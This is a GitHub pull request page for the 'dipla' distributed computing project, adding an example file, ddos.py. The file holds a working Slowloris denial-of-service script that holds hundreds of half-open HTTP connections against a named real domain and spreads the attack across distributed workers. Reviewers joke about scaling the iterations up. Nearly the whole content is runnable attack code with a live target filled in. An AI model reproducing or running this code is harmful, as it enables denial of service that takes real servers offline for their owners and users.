Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add example SlowLoris attack #248

Merged
merged 1 commit into from
Mar 30, 2017
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
54 changes: 54 additions & 0 deletions examples/ddos.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
from os import path
import sys
# Append to path so that this script can access the dipla package
sys.path.append(path.abspath('../dipla'))

from dipla.api import Dipla


@Dipla.distributable()
def slowloris(target_addr, target_port, number_connections):
import socket, time
# Try and open N conncetions
soc_list = []
for _ in range(number_connections):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((target_addr, target_port))
s.send("GET /?vacation=sucks HTTP/1.1\r\n".encode('utf-8'))
s.send("User-Agent: The Dipla Boiz\r\n".encode('utf-8'))
s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8'))
soc_list.append(s)
except socket.error:
pass

if len(soc_list) == 0:
return "Connections to target could not be made"

keep_alive_count = 0
while soc_list:
# Send a keep-alive to each connection
for s in soc_list:
try:
s.send("X-a: 4000\r\n".encode("utf-8"))
keep_alive_count += 1
except socket.error:
soc_list.remove(s)
time.sleep(15)
return "Send {} keep-alive requests to target".format(keep_alive_count)


ATTACK_ITERATIONS = 15
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you mean ATTACK_ITERATIONS = 2**64-1 here.

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Speaking of, do we have issues if an integer passed over the wire is > 2**64? Does our JSON de-/serialisation support arbitrary-length integers?

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A bug isn't an issue until it's found.

target_addrs = ["m1cr0man.com"] * ATTACK_ITERATIONS
target_ports = [80] * ATTACK_ITERATIONS
number_connections = [300] * ATTACK_ITERATIONS
attack_results = Dipla.apply_distributable(slowloris,
target_addrs,
target_ports,
number_connections)

out = Dipla.get(attack_results)

for o in out:
print(o)